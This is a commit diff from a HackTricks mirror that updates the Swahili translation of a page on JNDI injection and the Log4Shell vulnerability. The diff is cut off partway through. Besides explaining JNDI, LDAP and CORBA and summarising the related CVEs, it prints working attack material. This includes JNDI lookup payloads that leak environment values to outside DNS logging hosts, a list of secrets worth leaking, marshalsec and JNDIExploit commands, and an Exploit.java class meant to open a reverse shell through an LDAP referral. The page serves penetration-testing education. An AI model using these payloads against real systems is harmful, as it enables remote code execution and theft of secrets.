mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-17 06:28:27 +00:00
Translated ['pentesting-web/deserialization/jndi-java-naming-and-directo
This commit is contained in:
parent
5340e04b39
commit
fb1d6b204c
1 changed files with 79 additions and 74 deletions
|
@ -6,17 +6,17 @@
|
|||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
**Kikundi cha Usalama cha Kujitahidi**
|
||||
**Kikundi cha Usalama cha Kujitahidi Kwa Bidii**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -30,16 +30,16 @@ JNDI, iliyoundwa katika Java tangu miaka ya 1990, hutumika kama huduma ya saraka
|
|||
|
||||
Vitu vya Java vinaweza kuhifadhiwa na kupatikana kwa kutumia Marejeleo ya Majina ya JNDI, ambayo huja katika aina mbili:
|
||||
|
||||
* **Anwani za Marejeleo**: Inabainisha eneo la kipengee (k.m., _rmi://server/ref_), kuruhusu kupata moja kwa moja kutoka kwa anwani iliyobainishwa.
|
||||
* **Anwani za Marejeleo**: Inabainisha eneo la kitu (k.m., _rmi://server/ref_), kuruhusu kupata moja kwa moja kutoka kwa anwani iliyobainishwa.
|
||||
* **Kiwanda cha Mbali**: Kinarejelea darasa la kiwanda cha mbali. Inapofikiwa, darasa hilo linapakuliwa na kuanzishwa kutoka eneo la mbali.
|
||||
|
||||
Hata hivyo, mfumo huu unaweza kutumiwa vibaya, ikisababisha upakiaji na utekelezaji wa nambari ya aina yoyote. Kama kinga:
|
||||
Hata hivyo, mfumo huu unaweza kutumiwa vibaya, ikisababisha kupakia na kutekeleza kanuni za aina yoyote. Kama kinga:
|
||||
|
||||
* **RMI**: `java.rmi.server.useCodeabseOnly = true` kwa chaguo-msingi kutoka JDK 7u21, ikizuia upakiaji wa vitu vya mbali. Meneja wa Usalama anazuia zaidi nini kinaweza kupakiwa.
|
||||
* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` kwa chaguo-msingi kutoka JDK 6u141, 7u131, 8u121, ikizuia utekelezaji wa vitu vya Java vilivyopakiwa kwa mbali. Ikiwekwa kama `kweli`, utekelezaji wa nambari ya mbali unawezekana bila usimamizi wa Meneja wa Usalama.
|
||||
* **RMI**: `java.rmi.server.useCodeabseOnly = true` kwa chaguo-msingi kutoka JDK 7u21, ikizuia kupakia vitu vya mbali. Meneja wa Usalama anazuia zaidi nini kinaweza kupakiwa.
|
||||
* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` kwa chaguo-msingi kutoka JDK 6u141, 7u131, 8u121, ikizuia utekelezaji wa vitu vya Java vilivyopakiwa kwa mbali. Ikiwekwa kama `kweli`, utekelezaji wa kanuni za mbali unawezekana bila usimamizi wa Meneja wa Usalama.
|
||||
* **CORBA**: Haina mali maalum, lakini Meneja wa Usalama daima yuko hai.
|
||||
|
||||
Hata hivyo, **Meneja wa Majina**, anayehusika na kutatua viungo vya JNDI, hana mifumo ya usalama iliyojengwa ndani, ikiruhusu upatikanaji wa vitu kutoka vyanzo vyovyote. Hii inaleta hatari kwani kinga za RMI, LDAP, na CORBA zinaweza kudanganywa, ikisababisha upakiaji wa vitu vya Java visivyohusika au kutumia vipengele vya programu vilivyopo (gadgets) kutekeleza nambari yenye nia mbaya.
|
||||
Hata hivyo, **Meneja wa Majina**, anayehusika na kutatua viungo vya JNDI, hana mifumo ya usalama iliyojengwa ndani, ikiruhusu kupata vitu kutoka vyanzo vyovyote. Hii inaleta hatari kwani kinga za RMI, LDAP, na CORBA zinaweza kudanganywa, ikisababisha kupakia vitu vya Java visivyoelekezwa au kutumia vipengele vya programu vilivyopo (vifaa) kutekeleza kanuni mbaya.
|
||||
|
||||
Mifano ya URL zinazoweza kutumiwa vibaya ni pamoja na:
|
||||
|
||||
|
@ -53,38 +53,38 @@ Licha ya kinga, mapungufu bado yapo, hasa kutokana na ukosefu wa ulinzi dhidi ya
|
|||
|
||||
![](<../../.gitbook/assets/image (655) (1) (1).png>)
|
||||
|
||||
Hata kama umeweka **`PROVIDER_URL`**, unaweza kuelekeza kwenye moja tofauti katika utafutaji na itafikiwa: `ctx.lookup("<url-inayodhibitiwa-na-mshambuliaji>")` na hicho ndicho mshambuliaji atakachotumia kudai vitu visivyohusika kutoka kwa mfumo anaodhibiti.
|
||||
Hata kama umeweka **`PROVIDER_URL`**, unaweza kuelekeza moja tofauti katika utafutaji na itafikiwa: `ctx.lookup("<url inayodhibitiwa na muhusika>")` na hii ndio kitu ambacho muhusika atatumia kudukua kupakia vitu vya aina yoyote kutoka kwa mfumo anaodhibiti.
|
||||
|
||||
### Muhtasari wa CORBA
|
||||
### Mapitio ya CORBA
|
||||
|
||||
CORBA (Muundo wa Mfumo wa Ombi la Vitu vya Kawaida) hutumia **Kumbukumbu ya Vitu Inayoweza Kuingiliana (IOR)** kutambua kipekee vitu vya mbali. Kumbukumbu hii inajumuisha habari muhimu kama:
|
||||
CORBA (Muundo wa Mfumo wa Ombi la Vitu vya Kawaida) hutumia **Kumbukumbu ya Vitu Inayoweza Kuingiliana (IOR)** kutambua vitu vya mbali kwa kipekee. Kumbukumbu hii inajumuisha habari muhimu kama:
|
||||
|
||||
* **Kitambulisho cha Aina**: Kitambulisho kipekee cha kiolesura.
|
||||
* **Kitambulisho cha Aina**: Kitambulisho cha kipekee kwa kiolesura.
|
||||
* **Codebase**: URL ya kupata darasa la stub.
|
||||
|
||||
Kwa kuzingatia, CORBA haiko hatarini kwa asili. Kuhakikisha usalama kawaida hujumuisha:
|
||||
Kwa kawaida, CORBA haiko hatarini. Kuhakikisha usalama kawaida kunahusisha:
|
||||
|
||||
* Usanidi wa **Meneja wa Usalama**.
|
||||
* Kuweka Meneja wa Usalama kuruhusu uunganisho kwenye vituo vya nambari za mbaya. Hii inaweza kufikiwa kupitia:
|
||||
* Usanidi wa Meneja wa Usalama kuruhusu uunganisho kwa vituo vya kanuni vinavyoweza kuwa na nia mbaya. Hii inaweza kufikiwa kupitia:
|
||||
* Ruhusa ya Soketi, k.m., `ruhusa java.net.SocketPermission "*:1098-1099", "unganishi";`.
|
||||
* Ruhusa ya kusoma faili, iwe kwa ujumla (`ruhusa java.io.FilePermission "<<FAILI ZOTE>>", "soma";`) au kwa saraka maalum ambapo faili za mbaya zinaweza kuwekwa.
|
||||
* Ruhusa ya kusoma faili, iwe kwa ujumla (`ruhusa java.io.FilePermission "<<FAILI ZOTE>>", "soma";`) au kwa saraka maalum ambapo faili zenye nia mbaya zinaweza kuwekwa.
|
||||
|
||||
Hata hivyo, sera za baadhi ya wauzaji zinaweza kuwa nyepesi na kuruhusu uunganisho huu kwa chaguo-msingi.
|
||||
|
||||
### Muktadha wa RMI
|
||||
|
||||
Kwa RMI (Mwito wa Mbali wa Njia), hali ni tofauti kidogo. Kama ilivyo na CORBA, upakiaji wa darasa usiohusika kwa chaguo-msingi umepunguzwa. Kudukua RMI, mtu kawaida atahitaji kuzidi Meneja wa Usalama, jambo muhimu pia katika CORBA.
|
||||
Kwa RMI (Wito wa Mbali wa Njia), hali ni tofauti kidogo. Kama ilivyo na CORBA, kupakua darasa la aina yoyote kwa kawaida kunazuiliwa kwa chaguo-msingi. Kudukua RMI, mtu kwa kawaida atahitaji kuzidi Meneja wa Usalama, kitendo ambacho pia ni muhimu katika CORBA.
|
||||
|
||||
### LDAP
|
||||
|
||||
Kwanza kabisa, tunahitaji kutofautisha kati ya Utafutaji na Utafutaji.\
|
||||
**Utafutaji** utatumia URL kama `ldap://localhost:389/o=JNDITutorial` kutafuta kipengee cha JNDITutorial kutoka kwa seva ya LDAP na **kupata sifa zake**.\
|
||||
**Utafutaji** utatumia URL kama `ldap://localhost:389/o=JNDITutorial` kutafuta kitu cha JNDITutorial kutoka kwa seva ya LDAP na **kupata sifa zake**.\
|
||||
**Utafutaji** unalenga **huduma za majina** kwani tunataka kupata **chochote kilichofungwa kwa jina**.
|
||||
|
||||
Ikiwa utafutaji wa LDAP uliitwa na **SearchControls.setReturningObjFlag() na `kweli`, kipengee kilichorudiwa kitajengwa upya**.
|
||||
Ikiwa utafutaji wa LDAP uliitwa na **SearchControls.setReturningObjFlag() na `kweli`, basi kitu kilichorudiwa kitajengwa upya**.
|
||||
|
||||
Kwa hivyo, kuna njia kadhaa za kushambulia chaguzi hizi.\
|
||||
Mshambuliaji anaweza kuweka sumu kwenye rekodi za LDAP zikiingiza mizigo ambayo itatekelezwa kwenye mifumo inayokusanya (yenye manufaa sana kwa **kuambukiza mashine kumi** ikiwa una ufikio wa seva ya LDAP). Njia nyingine ya kutumia hii ni kufanya **shambulio la MitM katika utafutaji wa LDAP** kwa mfano.
|
||||
Kwa hivyo, kuna njia kadhaa za kushambulia chaguo hizi.\
|
||||
Mshambuliaji anaweza kuweka sumu kwenye rekodi za LDAP kuingiza mizigo ambayo itatekelezwa kwenye mifumo inayokusanya (yenye manufaa sana kwa **kudhoofisha mashine kumi** ikiwa una ufikiaji wa seva ya LDAP). Njia nyingine ya kutumia hii ni kufanya **shambulio la MitM katika utafutaji wa LDAP** kwa mfano.
|
||||
|
||||
Ikiwa unaweza **kuwezesha programu kutatua URL ya JNDI LDAP**, unaweza kudhibiti LDAP itakayotafutwa, na unaweza kurudisha shambulio (log4shell).
|
||||
|
||||
|
@ -93,7 +93,7 @@ Ikiwa unaweza **kuwezesha programu kutatua URL ya JNDI LDAP**, unaweza kudhibiti
|
|||
![](<../../.gitbook/assets/image (654) (1) (1) (1).png>)
|
||||
|
||||
**Shambulio limeorodheshwa** na litadeserialishwa.\
|
||||
Ikiwa `trustURLCodebase` ni `kweli`, mshambuliaji anaweza kutoa darasa zake mwenyewe kwenye codebase failure, atahitaji kutumia vitu vya kifaa katika njia ya darasa.
|
||||
Ikiwa `trustURLCodebase` ni `kweli`, mshambuliaji anaweza kutoa darasa zake mwenyewe kwenye codebase failure, atahitaji kutumia vifaa katika njia ya darasa.
|
||||
|
||||
#### Shambulio la Kumbukumbu ya JNDI
|
||||
|
||||
|
@ -103,13 +103,13 @@ Ni rahisi kushambulia LDAP hii kwa kutumia **marejeleo ya JavaFactory**:
|
|||
|
||||
## Udhaifu wa Log4Shell
|
||||
|
||||
Udhaifu unatokana na Log4j kwa sababu inasaidia [**sintaksia maalum**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) katika fomu ya `${prefix:jina}` ambapo `prefix` ni moja ya [**Utafutaji**](https://logging.apache.org/log4j/2.x/manual/lookups.html) tofauti ambapo `jina` inapaswa kuhesabiwa. Kwa mfano, `${java:version}` ni toleo linalotumika la Java.
|
||||
Udhaifu unazidiwa katika Log4j kwa sababu inasaidia [**sintaksia maalum**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) katika fomu `${prefix:jina}` ambapo `prefix` ni moja ya [**Utafutaji**](https://logging.apache.org/log4j/2.x/manual/lookups.html) tofauti ambapo `jina` linapaswa kuhesabiwa. Kwa mfano, `${java:version}` ni toleo linalotumika la Java.
|
||||
|
||||
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) ilileta kipengele cha Utafutaji wa `jndi`. Kipengele hiki kinawezesha kupata vipengele kupitia JNDI. Kawaida, ufunguo unapewa kiotomatiki kifungwa na `java:comp/env/`. Walakini, ikiwa ufunguo wenyewe una **":"**, kifungwa cha chaguo-msingi hakihusishwi.
|
||||
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) ilianzisha kipengele cha Utafutaji wa `jndi`. Kipengele hiki kinawezesha kupata vipengele kupitia JNDI. Kwa kawaida, ufunguo unapewa kiotomatiki kifungu cha `java:comp/env/`. Walakini, ikiwa ufunguo wenyewe una **":"**, kifungu hiki cha msingi hakijatumiki.
|
||||
|
||||
Kwa kuwa kuna **: kwenye ufunguo**, kama katika `${jndi:ldap://mfano.com/a}` hakuna kifungwa na **seva ya LDAP inaulizwa kwa kipengee**. Na Utafutaji huu unaweza kutumika katika usanidi wa Log4j pamoja na wakati mistari inalogiwa.
|
||||
Kwa kuwa kuna **: katika ufunguo**, kama katika `${jndi:ldap://mfano.com/a}` hakuna kifungu cha msingi na **seva ya LDAP inaulizwa kwa kitu**. Na Utafutaji huu unaweza kutumika katika usanidi wa Log4j pamoja na wakati mistari inalogiwa.
|
||||
|
||||
Kwa hivyo, kitu pekee kinachohitajika kupata RCE ni **toleo lenye udhaifu la Log4j linaloprocess habari inayodhibitiwa na mtumiaji**. Na kwa kuwa hii ni maktaba inayotumiwa sana na programu za Java kwa kurekodi habari (pamoja na programu za mtandao) ilikuwa kawaida kuwa na log4j inayorekodi kwa mfano vichwa vya HTTP vilivyopokelewa kama User-Agent. Walakini, log4j **haitumiki kurekodi habari za HTTP pekee bali kuingiza** na data yoyote iliyoonyeshwa na mwandishi.
|
||||
Kwa hivyo, kitu pekee kinachohitajika kupata RCE ni **toleo lenye udhaifu la Log4j linaloprocess habari inayodhibitiwa na mtumiaji**. Na kwa kuwa hii ni maktaba inayotumiwa sana na programu za Java kurekodi habari (pamoja na programu za mtandao) ilikuwa kawaida kuwa na log4j inayorekodi kwa mfano vichwa vya HTTP vilivyopokelewa kama User-Agent. Walakini, log4j **haitumiki kurekodi habari za HTTP pekee bali kuingiza data yoyote** na data ambayo mwandishi ameonyesha.
|
||||
## Muhtasari wa CVE zinazohusiana na Log4Shell
|
||||
|
||||
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Kali]**
|
||||
|
@ -120,21 +120,21 @@ Udhaifu huu ni kasoro muhimu ya **deserialization isiyotegemewa** katika sehemu
|
|||
|
||||
Awali ilipewa kiwango cha chini lakini baadaye ikaboreshwa kuwa kali, CVE hii ni kasoro ya **Kukataa Huduma (DoS)** inayotokana na marekebisho yasiyokamilika katika 2.15.0 kwa CVE-2021-44228. Inaathiri mipangilio isiyokuwa ya msingi, ikiruhusu wachomaji kusababisha mashambulizi ya DoS kupitia malipo yaliyoundwa kwa ustadi. [Ujumbe wa Twitter](https://twitter.com/marcioalm/status/1471740771581652995) unaonyesha njia ya kuzidi. Shida imepatuliwa katika toleo 2.16.0 na 2.12.2 kwa kuondoa mifano ya kutafuta ujumbe na kulemaza JNDI kwa chaguo-msingi.
|
||||
|
||||
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Juuyu]**
|
||||
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Kali]**
|
||||
|
||||
Ikiathiri **matoleo ya Log4j 1.x** katika mipangilio isiyokuwa ya msingi inayotumia `JMSAppender`, CVE hii ni kasoro ya deserialization isiyotegemewa. Hakuna marekebisho yanayopatikana kwa tawi la 1.x, ambalo ni mwisho wa maisha, na inapendekezwa kuboresha hadi `log4j-core 2.17.0`.
|
||||
Ikiathiri **matoleo ya Log4j 1.x** katika mipangilio isiyokuwa ya msingi kutumia `JMSAppender`, CVE hii ni kasoro ya deserialization isiyotegemewa. Hakuna marekebisho yanayopatikana kwa tawi la 1.x, ambalo limefikia mwisho wa maisha yake, na inapendekezwa kuboresha hadi `log4j-core 2.17.0`.
|
||||
|
||||
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Wastani]**
|
||||
|
||||
Udhaifu huu unaathiri **mfumo wa kuingiza Logback**, mrithi wa Log4j 1.x. Awali ilidhaniwa kuwa salama, mfumo uligunduliwa kuwa na udhaifu, na matoleo mapya (1.3.0-alpha11 na 1.2.9) yametolewa kushughulikia shida hiyo.
|
||||
|
||||
### **CVE-2021-45105** **\[Juuyu]**
|
||||
### **CVE-2021-45105** **\[Kali]**
|
||||
|
||||
Log4j 2.16.0 ina kasoro ya DoS, ikichochea kutolewa kwa `log4j 2.17.0` kusahihisha CVE. Maelezo zaidi yanapatikana katika [ripoti ya BleepingComputer](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
|
||||
Log4j 2.16.0 ina kasoro ya DoS, ikichochea kutolewa kwa `log4j 2.17.0` kusahihisha CVE. Maelezo zaidi yanapatikana katika ripoti ya BleepingComputer [hapa](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
|
||||
|
||||
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
|
||||
|
||||
Ikiathiri toleo la log4j 2.17, CVE hii inahitaji mchomaji kudhibiti faili ya usanidi wa log4j. Inahusisha utekelezaji wa nambari za ujanja kupitia JDBCAppender iliyosanidiwa. Maelezo zaidi yanapatikana katika [chapisho cha blogi ya Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
|
||||
Ikiathiri toleo la log4j 2.17, CVE hii inahitaji mchomaji kudhibiti faili ya usanidi wa log4j. Inahusisha utekelezaji wa nambari za ujanja kupitia JDBCAppender iliyosanidiwa. Maelezo zaidi yanapatikana katika [chapisho la blogi la Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
|
||||
|
||||
## Uchunguzi wa Utekaji wa Log4Shell
|
||||
|
||||
|
@ -148,7 +148,7 @@ Udhaifu huu ni rahisi sana kugundua ikiwa haujalindwa kwa sababu itatuma angalau
|
|||
* `${jndi:ldap://2j4ayo.dnslog.cn}` (ikitumia [dnslog](http://dnslog.cn))
|
||||
* `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` (ikitumia [huntress](https://log4shell.huntress.com))
|
||||
|
||||
Tafadhali kumbuka **hata kama ombi la DNS linapokelewa haimaanishi kuwa programu inaweza kutumiwa** (au hata kuwa na udhaifu), utahitaji kujaribu kutumia.
|
||||
Tafadhali kumbuka **hata kama ombi la DNS linapokelewa haimaanishi programu inaweza kutumiwa** (au hata kuwa na udhaifu), utahitaji kujaribu kuitumia.
|
||||
|
||||
{% hint style="info" %}
|
||||
Kumbuka kwamba kwa **kutumia toleo 2.15** unahitaji kuongeza **kizuizi cha ukaguzi wa localhost**: ${jndi:ldap://**127.0.0.1#**...}
|
||||
|
@ -162,13 +162,14 @@ find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[
|
|||
```
|
||||
### **Uhakiki**
|
||||
|
||||
Baadhi ya majukwaa yaliyoorodheshwa hapo awali itakuruhusu kuweka data ya kubadilika ambayo itaorodheshwa wakati inahitajika. Hii inaweza kuwa na manufaa sana kwa mambo 2:
|
||||
Baadhi ya majukwaa yaliyoorodheshwa hapo awali itakuruhusu kuweka data ya kubadilika ambayo itaorodheshwa wakati inahitajika.\
|
||||
Hii inaweza kuwa muhimu sana kwa mambo 2:
|
||||
|
||||
* Kwa ajili ya **kuthibitisha** udhaifu
|
||||
* Kwa ajili ya **kuvuja taarifa** kwa kutumia udhaifu
|
||||
* Kwa **kuthibitisha** udhaifu
|
||||
* Kwa **kuvuja taarifa** kwa kutumia udhaifu
|
||||
|
||||
Kwa mfano, unaweza kuomba kitu kama:\
|
||||
au kama `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** na ikiwa **ombi la DNS linapokelewa na thamani ya mazingira**, unajua programu ina udhaifu.
|
||||
au kama `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** na ikiwa **ombi la DNS linapokelewa na thamani ya mazingira ya env**, unajua programu ina udhaifu.
|
||||
|
||||
Taarifa nyingine unaweza kujaribu **kuvuja**:
|
||||
```
|
||||
|
@ -224,22 +225,22 @@ Any other env variable name that could store sensitive information
|
|||
### Taarifa za RCE
|
||||
|
||||
{% hint style="info" %}
|
||||
Wahudumu wanaotumia toleo la JDK zaidi ya 6u141, 7u131, au 8u121 wamekingwa dhidi ya mwelekeo wa shambulio la upakiaji wa darasa la LDAP. Hii ni kutokana na kulegezwa kwa chaguo la msingi la `com.sun.jndi.ldap.object.trustURLCodebase`, ambayo inazuia JNDI kutoa mzigo wa kikodisho cha mbali kupitia LDAP. Hata hivyo, ni muhimu kufahamu kwamba toleo hizi **hazilindwi dhidi ya mwelekeo wa shambulio la udeserialishaji**.
|
||||
Mashine zinazoendesha kwenye toleo la JDK zaidi ya 6u141, 7u131, au 8u121 zimekingwa dhidi ya vector ya shambulio la upakiaji wa darasa la LDAP. Hii ni kutokana na kulegezwa kwa chaguo la msingi la `com.sun.jndi.ldap.object.trustURLCodebase`, ambayo inazuia JNDI kutoa mzigo wa kikodisho cha mbali kupitia LDAP. Walakini, ni muhimu kutambua kwamba toleo hizi **hazilindwi dhidi ya vector ya shambulio la deserialization**.
|
||||
|
||||
Kwa wachomaji wanaolenga kutumia toleo hizi za JDK za juu, ni muhimu kutumia **kifaa cha kuaminika** ndani ya programu ya Java. Zana kama ysoserial au JNDIExploit mara nyingi hutumiwa kwa lengo hili. Kinyume chake, kuchomwa kwa toleo za chini za JDK ni rahisi zaidi kwani toleo hizi zinaweza kubadilishwa ili kupakia na kutekeleza darasa lolote.
|
||||
Kwa wadukuzi wanaolenga kutumia toleo hizi za JDK za juu, ni muhimu kutumia **kifaa cha kuaminika** ndani ya programu ya Java. Zana kama ysoserial au JNDIExploit mara nyingi hutumiwa kwa madhumuni haya. Kinyume chake, kudukua toleo za chini za JDK ni rahisi kwa sababu toleo hizi zinaweza kubadilishwa ili kupakia na kutekeleza madarasa yoyote.
|
||||
|
||||
Kwa **taarifa zaidi** (_kama vikwazo kwenye mwelekeo wa RMI na CORBA_) **angalia sehemu ya Marejeleo ya Kutaja Jina ya JNDI iliyopita** au [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
|
||||
Kwa **taarifa zaidi** (_kama mapungufu kwenye vectors vya RMI na CORBA_) **angalia sehemu ya Marejeleo ya Jina la JNDI iliyopita** au [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
|
||||
{% endhint %}
|
||||
|
||||
### RCE - Marshalsec na mzigo wa desturi
|
||||
|
||||
Unaweza kujaribu hii kwenye **kisanduku cha THM:** [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
|
||||
|
||||
Tumia zana [**marshalsec**](https://github.com/mbechler/marshalsec) (toleo la jar linalopatikana [**hapa**](https://github.com/RandomRobbieBF/marshalsec-jar)). Hatua hii inathibitisha seva ya rufaa ya LDAP kuelekeza mawasiliano kwenye seva ya HTTP ya pili ambapo shambulio litahifadhiwa:
|
||||
Tumia zana [**marshalsec**](https://github.com/mbechler/marshalsec) (toleo la jar linapatikana [**hapa**](https://github.com/RandomRobbieBF/marshalsec-jar)). Hatua hii inathibitisha seva ya rufaa ya LDAP kurejesha mawasiliano kwa seva ya HTTP ya pili ambapo shambulio litahifadhiwa:
|
||||
```bash
|
||||
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
|
||||
```
|
||||
Ili kumshawishi lengo kuchukue nambari ya kugeuza, tengeneza faili ya Java iliyoitwa `Exploit.java` na yaliyomo hapa chini:
|
||||
Ili kumshawishi lengo kuchukua msimbo wa kitanzi cha nyuma, tengeneza faili ya Java iliyoitwa `Exploit.java` na yaliyomo hapa chini:
|
||||
```java
|
||||
public class Exploit {
|
||||
static {
|
||||
|
@ -253,21 +254,21 @@ e.printStackTrace();
|
|||
```
|
||||
Kamilisha faili ya Java kuwa faili ya darasa kwa kutumia: `javac Exploit.java -source 8 -target 8`. Kisha anzisha **server ya HTTP** katika saraka inayohifadhi faili ya darasa kwa kutumia: `python3 -m http.server`. Hakikisha **server ya LDAP ya marshalsec** inahusisha server ya HTTP hii.
|
||||
|
||||
Chochote kile kinachofanana na:
|
||||
Chokoza utekelezaji wa darasa la exploit kwenye server ya wavuti inayoweza kudhurika kwa kutuma mzigo unaofanana na:
|
||||
```bash
|
||||
${jndi:ldap://<LDAP_IP>:1389/Exploit}
|
||||
```
|
||||
**Maelezo:** Kudukuzi huu unategemea usanidi wa Java kuruhusu mzigo wa msimbo wa mbali kupitia LDAP. Ikiwa hii hairuhusiwi, fikiria kutumia darasa lililothibitishwa kwa ajili ya utekelezaji wa msimbo wa kupindukia.
|
||||
**Maelezo:** Kudukuzi huu unategemea usanidi wa Java kuruhusu mzigo wa msimbo wa mbali kupitia LDAP. Ikiwa hii hairuhusiwi, fikiria kutumia darasa lililothibitishwa kwa ajili ya utekelezaji wa msimbo wa kupendelea.
|
||||
|
||||
### RCE - **JNDIExploit**
|
||||
|
||||
{% hint style="info" %}
|
||||
Tafadhali elewa kwamba kwa sababu fulani mwandishi aliiondoa mradi huu kutoka github baada ya ugunduzi wa log4shell. Unaweza kupata toleo lililohifadhiwa kwenye [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) lakini ikiwa unataka kuheshimu uamuzi wa mwandishi tumia njia tofauti kudukua udhaifu huu.
|
||||
Tafadhali kumbuka kwamba kwa sababu fulani mwandishi aliiondoa mradi huu kutoka github baada ya ugunduzi wa log4shell. Unaweza kupata toleo lililohifadhiwa kwa [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) lakini ikiwa unataka kuheshimu uamuzi wa mwandishi tumia njia tofauti kudukua udhaifu huu.
|
||||
|
||||
Zaidi ya hayo, huwezi kupata msimbo wa chanzo kwenye wayback machine, hivyo chambua msimbo wa chanzo, au tekeleza jar ukiwa na ufahamu kwamba hujui unachotekeleza.
|
||||
{% endhint %}
|
||||
|
||||
Kwa mfano huu unaweza tu kuendesha **mtandao huu wenye udhaifu wa log4shell** kwenye bandari 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_katika README utapata jinsi ya kuendesha_). Programu hii yenye udhaifu inalogi na toleo lenye udhaifu la log4shell maudhui ya kichwa cha ombi la HTTP _X-Api-Version_.
|
||||
Kwa mfano huu unaweza tu kukimbia **seva dhaifu ya wavuti kwa log4shell** kwenye bandari 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_katika README utapata jinsi ya kuikimbia_). Programu hii dhaifu inalogi kwa kutumia toleo dhaifu la log4shell maudhui ya kichwa cha ombi la HTTP _X-Api-Version_.
|
||||
|
||||
Kisha, unaweza kupakua faili ya jar ya **JNDIExploit** na kuitekeleza kwa:
|
||||
```bash
|
||||
|
@ -276,7 +277,7 @@ unzip JNDIExploit.v1.2.zip
|
|||
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
|
||||
```
|
||||
Baada ya kusoma nambari kwa dakika chache tu, katika _com.feihong.ldap.LdapServer_ na _com.feihong.ldap.HTTPServer_ unaweza kuona jinsi **seva za LDAP na HTTP zinavyoundwa**. Seva ya LDAP itaelewa ni mzigo gani unahitaji kutumikia na itamwongoza muathiriwa kwenye seva ya HTTP, ambayo itatumikia shambulio.\
|
||||
Katika _com.feihong.ldap.gadgets_ unaweza kupata **gadgets maalum** ambayo yanaweza kutumika kutekeleza hatua inayotakiwa (kimsingi kutekeleza nambari ya kupindukia). Na katika _com.feihong.ldap.template_ unaweza kuona darasa tofauti za templeti ambazo zit **zitazalisha mashambulizi**.
|
||||
